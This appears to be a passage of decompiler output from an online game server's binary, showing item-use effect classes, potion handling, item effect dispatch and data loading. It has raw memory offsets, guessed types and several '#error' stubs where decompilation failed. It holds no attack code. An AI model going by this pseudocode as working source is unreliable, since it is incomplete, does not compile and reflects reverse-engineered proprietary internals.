*UseEffect__UseItemMemoryFeather___vftable_)(int, int itm); //----- (00529DD0) -------------------------------------------------------- void __thiscall UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(UseEffect::UseItemBossMobDetect *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemBossMobDetect::_vftable_; } // 5DDB28: using guessed type int (__stdcall *UseEffect__UseItemBossMobDetect___vftable_)(int, int itm); //----- (00529DE0) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real(UseEffect::UseItemSkillDummy2Real *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillDummy2Real::_vftable_; } // 5DDB38: using guessed type int (__stdcall *UseEffect__UseItemSkillDummy2Real___vftable_)(int, int itm); //----- (00529DF0) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_CanRecallInThisMap(void *this) { void *v1; // esi@1 int v2; // edi@2 const char *v3; // eax@2 signed __int16 result; // ax@2 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 2572))() ) { result = 1792; } else { v2 = *(_DWORD *)v1; v3 = ShineScript::ss_String(&shinescriptetc, "RecallDisableField"); (*(void (__thiscall **)(void *, const char *))(v2 + 1836))(v1, v3); result = 1807; } return result; } //----- (00529E30) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemBase::uib_CanUseItem(UseEffect::UseItemBase *this, #434 *a2, ItemTotalInformation *itm) { return 1794; } //----- (00529E40) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemBossMobDetect::uib_CanUseItem(UseEffect::UseItemBossMobDetect *this, #434 *a2, ItemTotalInformation *itm) { return 1792; } //----- (00529E50) -------------------------------------------------------- #error "529E50: undefined or illegal type '#434' (funcsize=34)" //----- (00529EB0) -------------------------------------------------------- #error "529EB0: undefined or illegal type '#434' (funcsize=26)" //----- (00529F00) -------------------------------------------------------- unsigned __int16 __thiscall UseEffect::UseItemSkillDummy2Real::uib_CanUseItem(UseEffect::UseItemSkillDummy2Real *this, #434 *a2, ItemTotalInformation *itm) { return ShineObjectClass::ShinePlayer::sp_CanItemMakeItem((void *)a2); } //----- (00529F10) -------------------------------------------------------- #error "529F10: undefined or illegal type '#325' (funcsize=4)" //----- (00529F20) -------------------------------------------------------- #error "529F20: undefined or illegal type '#325' (funcsize=6)" //----- (00529F40) -------------------------------------------------------- void __thiscall UseEffect::UseItemPropose::UseItemPropose(UseEffect::UseItemPropose *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemPropose::_vftable_; } // 5DDB48: using guessed type int (__stdcall *UseEffect__UseItemPropose___vftable_)(#325 *, int itm); //----- (00529F50) -------------------------------------------------------- #error "529F50: undefined or illegal type '#434' (funcsize=89)" //----- (0052A050) -------------------------------------------------------- #error "52A050: undefined or illegal type '#434' (funcsize=31)" //----- (0052A0C0) -------------------------------------------------------- void __thiscall UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(UseEffect::UseItemImmediateDivorce *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemImmediateDivorce::_vftable_; } // 5DDB88: using guessed type int (__stdcall *UseEffect__UseItemImmediateDivorce___vftable_)(int, int itm); //----- (0052A0D0) -------------------------------------------------------- #error "52A0D0: undefined or illegal type '#434' (funcsize=11)" //----- (0052A100) -------------------------------------------------------- #error "52A100: undefined or illegal type '#434' (funcsize=92)" //----- (0052A250) -------------------------------------------------------- void __thiscall UseEffect::UseItemGuildReName::UseItemGuildReName(UseEffect::UseItemGuildReName *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemGuildReName::_vftable_; } // 5DDBA8: using guessed type int (__stdcall *UseEffect__UseItemGuildReName___vftable_)(int, int itm); //----- (0052A260) -------------------------------------------------------- void __thiscall UseEffect::UseItemGuildReType::UseItemGuildReType(UseEffect::UseItemGuildReType *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemGuildReType::_vftable_; } // 5DDBB8: using guessed type int (__stdcall *UseEffect__UseItemGuildReType___vftable_)(int, int itm); //----- (0052A270) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(UseEffect::UseItemFurnitureEndureKit *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemFurnitureEndureKit::_vftable_; } // 5DDBC8: using guessed type int (__stdcall *UseEffect__UseItemFurnitureEndureKit___vftable_)(int, int itm); //----- (0052A280) -------------------------------------------------------- int __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_ProtocolMake(UseEffect::UseItemFurnitureEndureKit *this, NETCOMMAND *nc) { nc->protocol = 13451; *(_DWORD *)&nc[6].protocol = this->m_dEndureTime._bf0; *(_QWORD *)&nc[2].protocol = *(_QWORD *)&this->m_nKey.binary.gap0[0]; nc[1].protocol = this->m_nFurnitureHnd; return 35; } //----- (0052A2B0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureHnd(UseEffect::UseItemFurnitureEndureKit *this, unsigned __int16 *nFurnitureHnd) { this->m_nFurnitureHnd = *nFurnitureHnd; } //----- (0052A2C0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureKey(UseEffect::UseItemFurnitureEndureKit *this, SHINE_ITEM_REGISTNUMBER *nKey) { *(_QWORD *)&this->m_nKey.binary.gap0[0] = *(_QWORD *)&nKey->binary.gap0[0]; } //----- (0052A2E0) -------------------------------------------------------- void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureEndureTime(UseEffect::UseItemFurnitureEndureKit *this, ShineDateTime *dEndureTime) { this->m_dEndureTime._bf0 = dEndureTime->_bf0; } //----- (0052A2F0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x23Bu, 0x56u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0052A3A0) -------------------------------------------------------- void __thiscall UseEffect::UseItemMysteryBolt::UseItemMysteryBolt(UseEffect::UseItemMysteryBolt *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMysteryBolt::_vftable_; } // 5DDBE0: using guessed type int (__stdcall *UseEffect__UseItemMysteryBolt___vftable_)(int, int itm); //----- (0052A3B0) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::UsedItemEffect(UseEffect::UsedItemEffect *this) { UseEffect::UsedItemEffect *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->uie_BinData.baseclass_0); memset(&v1->uie_BinData.bdb_defaultblock, 0, 0x54u); HIWORD(v1->uie_BinData.bdb_defaultblock.UseAbstateIndex) = 0; v1->uie_FuncStruct = 0; } //----- (0052A3E0) -------------------------------------------------------- void __thiscall GatherProduce::GatherTable::_GatherTable(GatherProduce::GatherTable *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->gt_Array ) operator delete(this->gt_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (0052A400) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_Load(UseEffect::UsedItemEffect *this) { UseEffect::UsedItemEffect *v1; // esi@1 unsigned int v2; // ST04_4@1 void *v3; // eax@1 signed int v4; // ecx@4 int v5; // eax@5 unsigned int v6; // eax@7 signed __int16 v7; // cx@10 void *v8; // eax@12 int v9; // edi@15 int v10; // ebp@16 unsigned __int16 v11; // ax@18 unsigned __int16 *v12; // ebp@24 int v13; // edi@25 SkillDataBox::SkillDataIndex *v14; // eax@25 int v15; // edi@26 unsigned int v16; // eax@38 void *v17; // ebx@42 unsigned int v18; // eax@44 signed __int16 v19; // bp@45 unsigned int v20; // eax@52 int v21; // edi@55 int v22; // ebp@56 unsigned __int16 v23; // ax@58 int v24; // edi@64 char *v25; // [sp-4h] [bp-20h]@26 unsigned int item; // [sp+10h] [bp-Ch]@7 signed __int16 itema; // [sp+10h] [bp-Ch]@45 unsigned int k; // [sp+14h] [bp-8h]@38 unsigned int num; // [sp+18h] [bp-4h]@38 v1 = this; v2 = 16 * (unsigned __int16)dword_125739EC; this->uie_MaxItemID = dword_125739EC; v3 = operator new__(v2); v1->uie_FuncStruct = (UseEffect::UIE_Functions *)v3; if ( v3 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "UsedItemEffect::uie_Load : Memory leak", 0); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v4 = 0; if ( v1->uie_MaxItemID > 0u ) { v5 = 0; do { v1->uie_FuncStruct[v5].useeffectstruct = &v1->uie_DefStruct; v1->uie_FuncStruct[v5].useitemclass = (UseEffect::UseItemBase *)&ui_base; v1->uie_FuncStruct[v5].useskill = 0; v1->uie_FuncStruct[v5].broadcast = 0; ++v4; ++v5; } while ( v4 < v1->uie_MaxItemID ); } v6 = 0; for ( item = 0; ; v6 = item ) { if ( v6 < itemdatabox.idb_Itemspacies ) { if ( v6 < stru_12573DF4.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v8 = CDataReader::GetRecord(&stru_12573DF4.baseclass_0.baseclass_0, v6); else v8 = &stru_12573DF4.bdb_defaultblock; v7 = *(_WORD *)v8; } else { v7 = -1; } v9 = (unsigned __int16)v7; if ( (unsigned __int16)v7 < (unsigned int)dword_125739EC ) { v10 = dword_12574188 + 28 * (unsigned __int16)v7; if ( v10 ) { if ( *(_DWORD *)v10 ) { v11 = **(_WORD **)v10; if ( v11 == v7 ) goto LABEL_21; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v11 + 10000 * (unsigned __int16)v7); } } } v10 = 0; LABEL_21: if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "UsedItemEffect::uie_Load : Invalid ItemIndex", v9); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v12 = *(unsigned __int16 **)v10; switch ( *(_DWORD *)(v12 + 51) ) { case 0xB: v13 = v9; v1->uie_FuncStruct[v13].useitemclass = (UseEffect::UseItemBase *)&ui_skillscroll; v14 = UseEffect::UsedItemEffect::uie_UseSkillID(v1, "UseSkill"); goto LABEL_33; case 0xC: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_recallscroll; v25 = "UseStageRecallScroll"; goto LABEL_27; case 0xF: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = &ui_chestopen; v25 = "UsePresentBox"; goto LABEL_27; case 9: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = &ui_minihousefurniture; v25 = "UseSkill"; goto LABEL_27; case 0x1B: v15 = v9; v1->uie_FuncStruct[v15].useitemclass = (UseEffect::UseItemBase *)&ui_actionitem; v25 = "UseSkill"; LABEL_27: v1->uie_FuncStruct[v15].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, v25); break; default: if ( *((_BYTE *)v12 + 311) != 45 ) { v14 = UseEffect::UsedItemEffect::uie_UseSkillID(v1, (char *)v12 + 311); v13 = v9; LABEL_33: v1->uie_FuncStruct[v13].useskill = v14; } break; } ++item; if ( item >= itemdatabox.idb_Itemspacies ) break; } v1->uie_FuncStruct[(unsigned __int16)word_125741BC].useitemclass = (UseEffect::UseItemBase *)&ui_Propose; v1->uie_FuncStruct[(unsigned __int16)word_125741BC].useskill = UseEffect::UsedItemEffect::uie_UseSkillID( v1, "UseSkill"); if ( word_125741C4 != -1 ) { v1->uie_FuncStruct[(unsigned __int16)word_125741C4].useitemclass = (UseEffect::UseItemBase *)&ui_ImmediateDivorce; v1->uie_FuncStruct[(unsigned __int16)word_125741C4].useskill = UseEffect::UsedItemEffect::uie_UseSkillID( v1, "UseSkill"); } else { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_Load : cannot find InstantDivorce item", 0); } v1->uie_DefStruct.UseEffectC = 10; v1->uie_DefStruct.UseEffectB = 10; v1->uie_DefStruct.UseEffectA = 10; v1->uie_DefStruct.UseAbstateIndex = 412; BinaryDataBox::bdb_ReadData(&v1->uie_BinData, "../9Data/Shine/ItemUseEffect.shn"); v1->uie_FuncStruct[(unsigned __int16)word_125741CC].useitemclass = (UseEffect::UseItemBase *)&ui_JustRevive; v1->uie_FuncStruct[(unsigned __int16)word_125741CC].useskill = UseEffect::UsedItemEffect::uie_UseSkillID( v1, "UseSkill"); v16 = 0; num = v1->uie_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; k = 0; if ( (signed int)num > 0 ) { while ( 1 ) { if ( v16 < v1->uie_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v1->uie_BinData.baseclass_0.baseclass_0, v16); else v17 = &v1->uie_BinData.bdb_defaultblock; v18 = BTree::operator__(&stru_125739F0, (const char *)v17); if ( v18 == -1 ) { v19 = -1; itema = -1; } else { itema = v18; v19 = v18; } if ( v19 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UsedItemEffect::uie_Load : Invalid item", (const char *)v17); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } if ( *((_BYTE *)v17 + 50) == 45 ) { *(_DWORD *)((char *)v17 + 82) = 412; } else { v20 = BTree::operator__(&unk_615CF4, (const char *)v17 + 50); *(_DWORD *)((char *)v17 + 82) = v20; if ( v20 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "UseEffect::UsedItemEffect::uie_Load : AbState wrong", (const char *)v17 + 50); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } } v21 = (unsigned __int16)v19; if ( (unsigned __int16)v19 < (unsigned int)dword_125739EC ) { v22 = dword_12574188 + 28 * (unsigned __int16)v19; if ( v22 ) { if ( *(_DWORD *)v22 ) { v23 = **(_WORD **)v22; if ( v23 == itema ) goto LABEL_61; AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v23 + 10000 * v21); } } } v22 = 0; LABEL_61: if ( !v22 ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_Load : Null Item", v21); ShineExit("UseEffect::UsedItemEffect::uie_Load"); } v24 = v21; if ( *(_DWORD *)(*(_DWORD *)v22 + 102) == 27 ) { v1->uie_FuncStruct[v24].useeffectstruct = (ItemUseEffect *)v17; } else { v1->uie_FuncStruct[v24].useeffectstruct = (ItemUseEffect *)v17; v1->uie_FuncStruct[v24].useitemclass = (UseEffect::UseItemBase *)&ui_bytable; v1->uie_FuncStruct[v24].useskill = UseEffect::UsedItemEffect::uie_UseSkillID(v1, (char *)(*(_DWORD *)v22 + 311)); } ++k; if ( (signed int)k >= (signed int)num ) return; v16 = k; } } } // 610230: using guessed type int (__stdcall **ui_base)(int, int itm); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; // 125741BC: using guessed type __int16 word_125741BC; // 125741C4: using guessed type __int16 word_125741C4; // 125741CC: using guessed type __int16 word_125741CC; //----- (0052A920) -------------------------------------------------------- #error "52A920: undefined or illegal type '#325' (funcsize=79)" //----- (0052AA40) -------------------------------------------------------- #error "52AA40: undefined or illegal type '#325' (funcsize=65)" //----- (0052AB30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // edi@1 int v5; // edi@1 int v6; // eax@3 int v7; // ebx@3 int v8; // eax@3 int v9; // ebp@3 int v10; // eax@6 int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ST14_4@8 int v14; // eax@8 char *v15; // [sp+34h] [bp-28h]@2 int iic; // [sp+48h] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountHP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1244))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3); if ( v5 > 0 ) { v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8884))( (char *)v3 + 35536, slot); v7 = *(_DWORD *)(v6 + 112); iic = v6; v8 = (*(int (__thiscall **)(_DWORD, int))(*(_DWORD *)v7 + 100))(*(_DWORD *)(v6 + 112), v6 + 8); v9 = v8; if ( v8 >= 0 ) { if ( v5 > v8 ) v5 = v8; ShineObjectClass::ShinePlayer::sp_HPChangeCheck(v3, v5, 1, (int)"ShineObjectClass::ShinePlayer::sp_UseAmountHP"); v10 = v5 + *(_DWORD *)((char *)v3 + 32059); v11 = v10; *(_DWORD *)((char *)v3 + 32059) = v10; v12 = *((_DWORD *)v3 + 932); if ( v11 > v12 ) *(_DWORD *)((char *)v3 + 32059) = v12; v13 = *(_DWORD *)((char *)v3 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v7 + 104))(v7, iic + 8, v9 - v5); if ( v9 == v5 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, &slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; } else { v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountHP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } // 4DBC80: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0052ACE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountSP(void *this, int slot, __int16 inv) { void *v3; // esi@1 int v4; // edi@1 int v5; // edi@1 int v6; // eax@3 int v7; // ebx@3 int v8; // eax@3 int v9; // ebp@3 int v10; // eax@6 int v11; // ecx@6 unsigned int v12; // eax@6 int v13; // ST08_4@8 int v14; // eax@8 char *v15; // [sp+28h] [bp-28h]@2 int iic; // [sp+3Ch] [bp-14h]@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_UseAmountSP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1248))(v3); v5 = v4 - (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1240))(v3); if ( v5 > 0 ) { v6 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8884))( (char *)v3 + 35536, slot); v7 = *(_DWORD *)(v6 + 112); iic = v6; v8 = (*(int (__thiscall **)(_DWORD, int))(*(_DWORD *)v7 + 100))(*(_DWORD *)(v6 + 112), v6 + 8); v9 = v8; if ( v8 >= 0 ) { if ( v5 > v8 ) v5 = v8; v10 = v5 + *(_DWORD *)((char *)v3 + 32063); v11 = v10; *(_DWORD *)((char *)v3 + 32063) = v10; v12 = *((_DWORD *)v3 + 933); if ( v11 > v12 ) *(_DWORD *)((char *)v3 + 32063) = v12; v13 = *(_DWORD *)((char *)v3 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v3, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); (*(void (__thiscall **)(int, int, int))(*(_DWORD *)v7 + 104))(v7, iic + 8, v9 - v5); if ( v9 == v5 ) { LOWORD(slot) = slot & 0x3FF | 0x2400; ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, *((_WORD *)v3 + 2), iic, &slot); } else { ShineObjectClass::ShinePlayer::sp_ItemAttrSave(v3, iic, 9, slot); } } v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; } else { v15 = "ShineObjectClass::ShinePlayer::sp_UseAmountSP"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v15); } // 4DBC80: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (0052AE80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(void *this, int slot, int itm) { void *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v3 + 8884))((char *)v3 + 35536, slot); if ( v4 && *(_DWORD *)v4 == *(_DWORD *)itm && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itm + 4) ) ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(v3, v4, slot); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v3 + 2240))(v3, 1792, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Move2MiniHouse"); } // 4E5330: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_Move2MiniHouse(_DWORD, _DWORD, _DWORD); //----- (0052AF60) -------------------------------------------------------- #error "52AF60: undefined or illegal type '#434' (funcsize=426)" //----- (0052B530) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemEffect(void *this, int effect, unsigned __int16 value, int funcstr) { void *v4; // esi@1 int v5; // ebx@8 AbnormalStateDictionary::AbState::AbStateStr *v6; // edi@8 int v7; // ebp@11 int v8; // [sp+2Ch] [bp-28h]@5 signed int v9; // [sp+30h] [bp-24h]@5 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( effect ) { case 0: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 1232))(v4, value); break; case 1: (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v4 + 1256))(v4, value); break; case 7: (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1232))(v4, 99999); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1256))(v4, 99999); break; case 8: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 33, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 34, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 35, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 21, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 22, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 23, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 27, value); v9 = value; v8 = 28; goto LABEL_15; case 2: v9 = value; v8 = 33; goto LABEL_15; case 3: v9 = value; v8 = 34; goto LABEL_15; case 4: v5 = *(_DWORD *)(*(_DWORD *)funcstr + 82); v6 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, *(ABSTATEINDEX *)(*(_DWORD *)funcstr + 82)); if ( v6 != 0 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *, void *, _DWORD, _DWORD, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1528))( v4, v4, *(_DWORD *)(*(_DWORD *)funcstr + 82), value, v6, clockwatch.cw_CurrTick, 0, -1, 0, 11) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v4, v6->index->AbStataIndex); v7 = (int)&v6->subabstate[value]; if ( *(_DWORD *)v7 ) { (*(void (__thiscall **)(void *, ABSTATEINDEX, _DWORD, signed int))(*(_DWORD *)v4 + 992))( v4, v6->index->AbStataIndex, *(_DWORD *)(*(_DWORD *)v7 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v4, v6->index->AbStataIndex, *(_DWORD *)(*(_DWORD *)v7 + 43), value); } } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2368))(v4); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect : Invalid abstate", v5); } break; case 5: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 35, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 50, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 51, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 52, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 53, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 54, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 55, value); ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, 56, value); v9 = value; v8 = 57; LABEL_15: ShineObjectClass::ShineMobileObject::smo_CureCurse(v4, v8, v9); break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemEffect"); } //----- (0052B7D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_Notice(void *this, int str) { void *v2; // edi@1 char *v3; // edx@1 int v4; // ecx@1 char *v5; // eax@1 char *v6; // esi@1 int v7; // esi@1 char v8; // bl@2 char v9; // si@3 char v10; // cl@4 char v11; // al@5 int v12; // esi@5 int v13; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Notice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_Notice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = str; v5 = gpp.pp_Buffer + 3; v6 = gpp.pp_Buffer + 3; *(_WORD *)gpp.pp_Buffer = 8209; v7 = (int)&v6[-str]; do { v8 = *(_BYTE *)v4; *(_BYTE *)(v7 + v4) = *(_BYTE *)v4; ++v4; } while ( v8 ); v9 = (_BYTE)v5 + 1; do v10 = *v5++; while ( v10 ); v11 = (_BYTE)v5 - v9; v3[2] = v11; v12 = (unsigned __int8)v11 + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, (unsigned __int8)v11 + 3) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_Notice : Packet Too Long", v12); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_Notice"); } //----- (0052B8E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Cancel(void *this, int inven) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_silverwing_Cancel"); } //----- (0052B980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_AttrChange2DB(void *this, int iic, int iac, int iti, int inven) { void *v5; // ebx@1 char *v6; // edi@1 int v7; // ebp@1 int v8; // esi@1 int v9; // edi@1 int v10; // eax@1 ZoneBaseSession *v11; // eax@2 int itia; // [sp+38h] 